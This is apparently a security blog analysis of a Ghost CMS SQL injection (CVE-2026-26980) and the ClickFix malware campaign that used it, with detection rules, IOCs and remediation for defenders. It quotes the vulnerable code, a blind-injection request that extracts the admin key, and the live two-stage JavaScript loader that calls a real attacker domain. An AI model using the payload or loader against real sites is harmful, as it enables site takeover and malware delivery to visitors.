The Vulnerability: CVE-2026-26980 — Unauthenticated SQL Injection in Ghost Content API

CVE-2026-26980 is a critical unauthenticated SQL injection vulnerability in Ghost CMS, a popular Node.js-based headless content management system used by thousands of organizations including universities, SaaS companies, blockchain projects, and major tech blogs. The vulnerability carries a CVSS 9.4 score (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L) — network-exploitable, low complexity, no privileges required, no user interaction.

The flaw resides in the Ghost Content API's slug filter ordering function, specifically in the file ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js. When a request to the Content API includes a filter parameter with a slug array — for example filter=slug:[post-one,post-two] — Ghost generates a SQL CASE statement to maintain the filter's order in the query results.

Prior to the patch, the slugFilterOrder function directly interpolated user-supplied slug values into the SQL string using template literals:

// VULNERABLE (pre-patch)
let order = 'CASE ';
orderSlugs.forEach((slug, index) => {
    order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
});
order += 'END ASC';
return order;

This code builds a raw SQL string by concatenating user-controlled slug values directly. Because no parameterization or escaping occurs, an attacker can inject arbitrary SQL by embedding a single quote (') within a slug value. The table variable is also interpolated, but the primary injection vector is through the slug values extracted from the filter parameter.

The order string is passed to options.orderRaw in the Bookshelf ORM query builder, eventually becoming part of an ORDER BY clause in the generated SQL query. Ghost's Content API endpoint does not require authentication for read operations — the Content API key is intentionally public and embedded in the frontend code — meaning any unauthenticated attacker who can reach the endpoint can exploit this flaw.

The fixed code in commit 30868d632b2252b638bc8a4c8ebf73964592ed91 switches to parameterized queries using Bookshelf's binding mechanism:

// PATCHED (post-commit)
let caseParts = [];
let bindings = [];
orderSlugs.forEach((slug, index) => {
    caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
    bindings.push(slug.trim(), index);
});
return {
    sql: `CASE ${caseParts.join(' ')} END ASC`,
    bindings
};

The patched code returns an object containing a SQL template with ? placeholders and a separate bindings array. The crud.js plugin (in ghost/core/core/server/models/base/plugins/crud.js) was updated to detect this object type and pass the bindings through options.orderRawBindings instead of treating the string as raw SQL. This is a textbook fix for SQL injection — replacing string interpolation with parameterized queries.

The vulnerability was discovered by Nicholas Carlini using Claude (Anthropic's AI-assisted vulnerability research through the Glasswing program) and reported responsibly to Ghost's security team. It was fixed in Ghost v6.19.1, released February 16, 2026.

Attack Chain: From SQL Injection to Malware Delivery

The exploitation chain is a four-stage attack that requires no authentication and can be fully automated. According to Qianxin XLab's incident response report, the entire process — vulnerability scanning, key extraction, injection, and C2 distribution — is highly automated.

Stage 1: SQL Injection — Extracting the Admin API Key

The attacker sends a crafted request to the Ghost Content API endpoint with a malicious filter parameter containing SQL injection payloads. Because the endpoint is public and unauthenticated, any HTTP client can reach it. The injection works in the ORDER BY context of the SQL query, enabling error-based or time-based blind extraction of arbitrary database content.

The target data is the Admin API Key, stored in the database within the api_keys table. Unlike the Content API key (which is read-only and public by design), the Admin API key carries full management privileges: article modification, theme editing, user management, and settings changes.

The attack uses time-based blind SQL injection to extract the key character by character:

# HTTP request structure (conceptual)
GET /ghost/api/content/posts/?filter=slug:[a' OR (SELECT CASE WHEN 
    (SUBSTR((SELECT secret FROM api_keys WHERE role_id='admin'),N,1)='X') 
    THEN 'a' ELSE 'b' END)='a] 
    &key=PUBLIC_CONTENT_KEY HTTP/1.1
Host: victim.ghost.io

Each request tests one character position. By observing response timing differences (or error-based responses depending on the database configuration), the attacker builds the Admin API key one character at a time. SQLite (Ghost's default database) supports LIKE, SUBSTR, and comparison operators that make blind injection practical.

Stage 2: CMS Takeover — Article Poisoning

With the Admin API key, the attacker authenticates to the Ghost Admin API and retrieves all published articles:

# List all published posts
GET /ghost/api/admin/posts/?limit=all&filter=status:published
Admin-Api-Key: ADMIN_KEY_FROM_STAGE_1

The attacker then modifies each article's content via PUT /ghost/api/admin/posts/:id/, appending a malicious JavaScript loader at the end of the HTML body. XLab captured two versions of this injected script with consistent core functionality:

<script>
(function() {
    var s = document.createElement('script');
    s.src = 'https://clo4shara.xyz/11z77u3.php';
    s.async = true;
    document.body.appendChild(s);
})();
</script>

This is a two-stage loader: the first stage is a thin, fixed script written directly into the database. The real payload is returned on demand by the C2 server. This design gives the attacker significant operational advantages:

Stage 3: ClickFix Social Engineering — Fake Cloudflare CAPTCHA

When a visitor loads a compromised article, the injected script fetches the C2 and receives a traffic distribution script. This script collects browser fingerprints (user agent, screen resolution, language, plugins) and sends them to the server. The server responds with one of 19 supported instructions including local, fetch, proxy, HTTP status codes (301-307), iframe, form, php, and js — giving the attacker full control over the victim's browser.

The instruction that follows leads to a highly convincing fake Cloudflare "human verification" page. The page displays a reCAPTCHA widget with the message "I am not a robot" and instructs the user to complete three steps:

  1. Press Windows Key + R to open the Run dialog
  2. Press Ctrl+V to paste a command
  3. Press Enter to "verify"

The pasted command is a Base64-encoded payload that, when decoded, executes a PowerShell or cmd command to download and run the malware. This is the ClickFix technique — social engineering that tricks the user into voluntarily executing a command that infects their system.

Stage 4: Payload Delivery — Stealer Trojan

The executed command downloads update.zip from attacker-controlled domains (initially clo4shara.xyz, later com-apps.cc after Cloudflare blocked the first domain). The zip contains a DLL loader which downloads and decrypts the final payload from external CDNs (including Storj public CDN).

XLab identified multiple delivery chains:

The final payload (MD5: 18a7251ddde77ed24bc54700d84d9be1, detected as UtilifySetup.exe) has zero detections on VirusTotal at the time of XLab's report. It replaces the entry file of a legitimate Electron application with a malicious index.js that uses the setLoginItemSettings API for persistence, sending POST requests every 30 seconds to web-telegram[.]ug awaiting command-and-control instructions. The C2 can execute arbitrary commands, download additional payloads, and exfiltrate data.

Scope of Impact: 700+ Compromised Sites

As of May 26, 2026, Qianxin XLab has confirmed over 700 compromised Ghost CMS deployments. The affected sites span multiple sectors:

The vulnerability (Ghost 3.24.0 through 6.19.0) affects a vast install base. The Content API endpoint is publicly accessible by design — the Content API key is embedded in frontend code. This means every internet-facing Ghost CMS instance is a potential target regardless of whether the key is exposed.

Two distinct threat groups were observed running separate ClickFix campaigns against the same vulnerable server pool. XLab documented cases where Group A's injected JavaScript was overwritten by Group B's within 24 hours, with sites like Harvard International Review being toggled between the two groups' malicious scripts. This competitive behavior suggests both groups have automated scanning and exploitation pipelines that continuously probe for vulnerable Ghost instances.

Users' natural trust in these high-authority domains significantly increases the ClickFix attack's success rate. When a Harvard University or DuckDuckGo page presents a Cloudflare verification prompt, most users comply without suspicion.

AI-Discovery Angle: Claude Glasswing and the Collapsing Window

CVE-2026-26980 was discovered by Nicholas Carlini using Claude, an AI assistant from Anthropic. Carlini, a prominent AI safety researcher, has been exploring the use of large language models for automated vulnerability discovery — an approach Anthropic calls "Glasswing."

The vulnerability was disclosed to Ghost on February 16, 2026, and a patch shipped the same day. The public advisory was published on February 18, 2026, and NVD assigned the CVE on February 20, 2026. By May 7 — roughly 80 days after disclosure — mass exploitation was underway in the wild. By May 26, over 700 sites were compromised.

The timeline is critical: the window between disclosure and mass exploitation has collapsed to approximately 80 days, and the gap between AI-assisted discovery and weaponization is even narrower. As AI-driven vulnerability research tools mature, we should expect:

The Ghost CMS case is a textbook example: a 9.4 CVSS vulnerability disclosed in mid-February, exploitable within 80 days at global scale, targeting high-trust domains like .edu and major tech companies. The attackers needed no prior knowledge of the vulnerability discovery method — they simply scanned for unpatched instances of a known CVE and automated the exploitation chain.

Detection Methods: Log Patterns, IOCs, and Indicators

Access Log Analysis

Check web server access logs for anomalous requests to the Ghost Content API. The injection vector targets the filter parameter with slug array syntax containing SQL operators:

# Suspicious patterns in Content API requests
/ghost/api/content/posts/?filter=slug:[...]&key=...
/ghost/api/content/tags/?filter=slug:[...]&key=...

# Indicators of SQL injection attempts:
# - filter parameter containing SQL keywords (SELECT, CASE, SUBSTR)
# - filter parameter with URL-encoded single quotes (%27)
# - Response time anomalies (time-based blind injection)
# - Unusual slug filter values that don't match valid slugs

JavaScript Injection Sweep

Inspect all published articles and pages for unauthorized JavaScript inclusions. The injected scripts follow a consistent pattern:

# Search for inline script tags at the end of article body content
# Typical pattern:
(function(){var s=document.createElement('script');
s.src='https://[malicious-domain]/...';
s.async=true;document.body.appendChild(s);})();

Admin API Key Audit

Check the Ghost admin interface for unauthorized or unknown API keys:

Code Injection Settings

Ghost has a "Code Injection" feature in Site Settings that allows site-wide script injection. Check this section for unauthorized scripts. Also review theme files (particularly default.hbs and post.hbs) for injected script tags.

Network IOCs (Confirmed)

The following domains and URLs have been confirmed as part of the ClickFix campaign infrastructure:

# Threat Actor A - C2 and Payload Domains
clo4shara.xyz
cloud-verification.com
jalwat.com
com-apps.cc
web-telegram.ug
staticcloudflare.pro
updatesecurity.pro
updatefilescf.top
static-file.digital
download-file.today
updatefile-cf.digital
updatefile-cf.top
platecrumbs.com

# Threat Actor B - C2 and Payload Domains
script-dev.buzz
script-dev.digital
script-dev.xyz

# Payload URLs
https://clo4shara.xyz/11z77u3.php
https://com-apps.cc/11z77u3.php
https://cloud-verification.com/update.zip
https://com-apps.cc/NotepadPlusPlus.zip
https://jalwat.com/static/uploads/campaigns/6/update.zip
https://script-dev.digital/api/css.js
https://cdnupdatenews.top/dl?fid=38

File Hash IOCs

5659292833ec421da11ebde005d9c9a8
d30cc10d54ebc967c8538ff74f442eee
18a7251ddde77ed24bc54700d84d9be1  (UtilifySetup.exe)
f280e12f51f996dae7fffc64a56ee527
fceca579efcef09eb507c6ca977ea281

YARA Rule for Ghost Article Injection Detection

rule Ghost_CMS_ClickFix_Loader {
    meta:
        description = "Detects injected JavaScript loaders from CVE-2026-26980 ClickFix campaign"
        author = "Cyberian Defenses Threat Intelligence"
        date = "2026-05-26"
        reference = "CVE-2026-26980"
        hash = "f280e12f51f996dae7fffc64a56ee527"
    strings:
        $loader1 = "document.createElement('script')" ascii wide
        $loader2 = "document.body.appendChild" ascii wide
        $cloaking1 = "clo4shara" ascii wide nocase
        $cloaking2 = "com-apps" ascii wide nocase
        $cloaking3 = "script-dev" ascii wide nocase
        $cloaking4 = "staticcloudflare" ascii wide nocase
        $captcha = "reCAPTCHA" ascii wide nocase
        $verify = "human verification" ascii wide nocase
        $fakecloud = "cloudflare" ascii wide nocase
    condition:
        any of ($loader*) and any of ($cloaking*)
        or (any of ($loader*) and any of ($captcha, $verify, $fakecloud))
}

Snort/Suricata IDS Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-26980 Ghost CMS SQL Injection Attempt";
    flow:to_server,established;
    content:"/ghost/api/content/";
    content:"filter";
    content:"slug:[";
    pcre:"/slug%3A%5B|slug%3A\[/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2026-26980;
)

Zeek Detection Script

# Zeek script to detect Ghost CMS SQL injection attempts
event http_request(c: connection, method: string, original_URI: string,
    unescaped_URI: string, version: string)
{
    if ("/ghost/api/content/" in original_URI &&
        /filter.*slug%3A%5B/ in original_URI)
    {
        NOTICE([$note=SQL_Injection::Ghost_CMS_CVE_2026_26980,
                $msg=fmt("Ghost CMS SQL injection attempt: %s %s",
                    method, original_URI),
                $conn=c,
                $uid=c$uid,
                $identifier=original_URI]);
    }
}

Remediation: Immediate, Short-Term, and Long-Term Actions

Immediate Actions (Within 24 Hours)

  1. Patch Ghost CMS: Upgrade to version 6.19.1 or later:
    # Ghost-CLI (recommended)
    ghost update v6.19.1
    
    # Docker
    docker pull ghost:6.19.1
    docker-compose up -d
  2. Rotate ALL Admin API keys: In Ghost admin → Settings → Integrations, regenerate every Admin API key. Do not skip custom integrations.
  3. Invalidate staff sessions: Force log out all staff users. Change passwords for any Admin-level accounts.
  4. Scan published content: Inspect every published article and page for the injected loader script pattern (searching for createElement('script') combined with document.body.appendChild).
  5. Add WAF rule: If immediate patch is impossible, block requests to the Content API containing slug:[ or slug%3A%5B in the filter parameter:
    # Nginx WAF rule
    if ($args ~* "slug%3A%5B|slug:\[") {
        return 403;
    }
    
    # Cloudflare WAF
    (http.request.uri.query contains "slug:[")

    Note: This WAF rule may break legitimate slug filter functionality. Use only as a temporary emergency measure.

Short-Term Actions (Within 1 Week)

  1. Complete site audit: Review all Ghost theme files, Code Injection settings, and custom integrations for unauthorized modifications.
  2. Review Ghost backend logs: Check for anomalous Admin API calls — particularly PUT requests to /ghost/api/admin/posts/:id/ originating from unrecognized IPs.
  3. Audit admin accounts: Review all staff user accounts. Remove any that are unknown or no longer needed.
  4. Deploy the YARA rule provided above to scan file systems and backups for the malicious loader.
  5. Check web server access logs (retain at least 30 days of Admin API call logs) for the network IOCs listed above.

Long-Term Actions

  1. Enable automatic updates: Configure Ghost-CLI to apply minor and patch-level updates automatically.
  2. Implement network segmentation: If Ghost is self-hosted, isolate it behind a reverse proxy with WAF capabilities.
  3. Add Content Security Policy (CSP) headers to restrict script sources. This would have blocked the injected loader from loading external scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
  4. Regular credential rotation: Establish a policy for rotating Admin API keys every 90 days.
  5. SIEM integration: Send Ghost access logs to a SIEM for continuous monitoring of suspicious Content API patterns.

WAF Bypass Risk

XLab observed that the attackers updated their cloaking domain from clo4shara.xyz (which used Cloudflare's proxy service, leaving an interception window) to com-apps.cc, which was not using Cloudflare. This bypassed any Cloudflare-based blocking mechanisms. The attackers demonstrated the ability to adapt their infrastructure within days of detection, meaning reactive blocking alone is insufficient — patching is the only reliable mitigation.

Industry Impact and Broader Implications

The Ghost CMS campaign demonstrates several concerning trends in the current threat landscape:

AI-Discovery to Exploitation Pipeline

This is one of the first documented cases where an AI-discovered vulnerability (via Anthropic's Claude/Glasswing) is actively exploited at scale in the wild. The timeline — patch February 16, exploitation campaign by May 7 — suggests that disclosure-to-exploitation timelines are compressing. Organizations that treat vulnerability disclosure as a "patch when convenient" event are exposed.

Headless CMS as an Attack Surface

Ghost and other headless CMS platforms expose API endpoints that are intended to be public. The Content API key is literally shipped to every browser that loads the site. Any vulnerability in these public endpoints has no authentication barrier to exploit — making them high-value targets. Organizations using headless CMS platforms should prioritize security audits of their public API surface.

ClickFix as a Dominant Social Engineering Vector

The ClickFix (or FakeCAPTCHA) technique has become one of the most effective social engineering methods of 2025-2026. By hijacking high-trust domains and presenting a familiar CAPTCHA challenge, attackers bypass traditional user security awareness. Users who would never open a random attachment will paste a "verification command" on request from Google, Cloudflare, or Cloudflare-rebranded pages on trusted domains.

Competing Threat Groups

The observation of two distinct threat groups competing over the same vulnerable server pool — overwriting each other's implants — suggests that Ghost CMS exploitation has become commoditized. Multiple automated exploitation pipelines are scanning for vulnerable instances. An unpatched Ghost site is not "low risk" — it's competing infrastructure for whoever finds it first.

Tier 1 Domain Compromise

Compromises of Harvard University, Oxford University, DuckDuckGo, and other high-authority domains demonstrate that no organization is immune. The trust users place in .edu and major tech domains makes them especially potent launch points for social engineering attacks. The reputational damage and legal liability for compromised higher education institutions may be significant, particularly under GDPR and state data breach notification laws.

Bottom Line

CVE-2026-26980 is not "just another CMS vulnerability." It is a turning point. An AI-discovered SQL injection in a widely deployed headless CMS, exploited by competing threat groups to hijack 700+ high-trust domains for ClickFix malware delivery — this is the new baseline for vulnerability impact.

The three things you must do today if you run Ghost CMS:

  1. Patch to v6.19.1 — there is no workaround that fully mitigates this vulnerability without the patch
  2. Rotate Admin API keys — your key may already be compromised even if you see no visible signs
  3. Audit published content — the injected loader is small, hidden at the bottom of articles, and invisible to most CMS dashboards

For security teams not using Ghost: this incident is a case study in how fast AI-discovered vulnerabilities move from disclosure to exploitation. Review your vulnerability management SLAs. If your organization takes more than 30 days to patch a critical public-facing CVE, you are operating outside the current threat window.

Full technical analysis with IOCs, detection rules, and patch diff: https://cyberian-defenses.com/blog/ghost-cms-cve-2026-26980-ai-discovery-clickfix

Sources: